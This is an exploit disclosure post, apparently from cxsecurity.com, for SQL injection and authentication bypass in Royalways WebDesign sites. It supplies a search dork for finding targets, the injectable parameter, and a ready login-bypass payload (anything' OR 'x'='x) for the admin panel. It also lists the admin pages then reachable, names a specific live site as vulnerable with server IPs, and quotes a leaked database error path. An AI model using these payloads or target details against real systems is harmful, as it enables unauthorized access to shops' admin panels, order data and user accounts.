Royalways WebDesign Authentication Bypass SQL Injection

2019.05.10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

################################################################### # Exploit Title : Royalways WebDesign Authentication Bypass SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 09/05/2019 # Vendor Homepage : royalways.com # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Website Design By Royalways # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-287 [ Improper Authentication ] CWE-592 [ Authentication Bypass Issues ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Reference Link : exploit4arab.org/exploits/2370 ################################################################### # Impact : *********** * Royalways is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. * When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. ################################################################### # SQL Injection Exploit : ********************** /new_arrival.php?count=[SQL Injection] # Authentication Bypass Exploit : ******************************* /admin Admin username : anything' OR 'x'='x Admin password : anything' OR 'x'='x You are in the Admin Panel - Congratulations :) /admin/home.php /admin/add_cat.php /admin/view_cat.php /admin/add_product.php /admin/view_products.php /admin/add_coupon.php /admin/manage_coupons.php /admin/orders_status.php?sort=New /admin/orders_status.php?sort=Pending /admin/orders_status.php?sort=Delivered /admin/manage_shipping.php /admin/manage_currency.php /admin/view_all_users.php /admin/chg_pwd.php ################################################################### # Example Vulnerable Sites : ************************* [+] hnh.in/new_arrival.php?count=1%27 Note : (198.49.66.2) => There are 81 domains hosted on this server. Note : (198.49.66.5) => 1 Domain. ################################################################### # Example SQL Database Error : **************************** Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home/hnhin/public_html/products_new_arrival.php on line 159 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top